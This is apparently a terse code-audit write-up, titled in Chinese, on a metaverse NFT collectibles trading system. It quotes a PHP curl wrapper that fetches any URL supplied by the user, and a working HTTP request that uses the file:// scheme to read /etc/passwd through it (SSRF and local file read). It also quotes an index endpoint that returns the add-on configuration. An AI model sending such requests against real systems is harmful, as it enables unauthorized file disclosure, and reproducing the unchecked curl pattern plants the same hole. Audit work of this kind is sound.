某元宇宙NFT数藏交易系统代码审计

/*** @Explain : Curl请求* @param $url* @param array $param* @return bool|string|string[]* @Date : 2022/4/5 下午7:21* @Author : By Jensen*/public static function toCurl($url, $param = array()){  $postUrl = $url;  $curlPost = $param;  $ch = curl_init();//初始化curl  curl_setopt($ch, CURLOPT_URL, $postUrl);//抓取指定网页  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//要求结果为字符串且输出到屏幕上  curl_setopt($ch, CURLOPT_POST, 1);//post提交方式  curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);  curl_setopt($ch, CURLOPT_HEADER, false);  curl_setopt($ch, CURLOPT_HTTPHEADER, ['Token: ' . self::$Token]);  $data = curl_exec($ch);//运行curl  curl_close($ch);  $data = str_replace(""", '"', $data);  return $data;}

GET /api/nft/ants/toCurl?url=file:///etc/passwd HTTP/2Host: 127.0.0.1:81Cache-Control: max-age=0Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9

/*** 首页**/public function index(): void{  $banner_model = new Banner();  $banner = $banner_model->field('id, article_id, image,pages')->where('status', 1)->select();  $config = get_addon_config('nft');  $config = $config['ini'];  $this->success('请求成功', [              'banner' => $banner,              'config'=>$config              ]);}

GET /api/nft/index HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveCookie: PHPSESSID=719psss6jnv9112q6spakfmt32; md5=201920; visitor_source=http%3A%2F%2F127.0.0.1%3A81%2Findex; think_var=th-thHost: 127.0.0.1:81Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"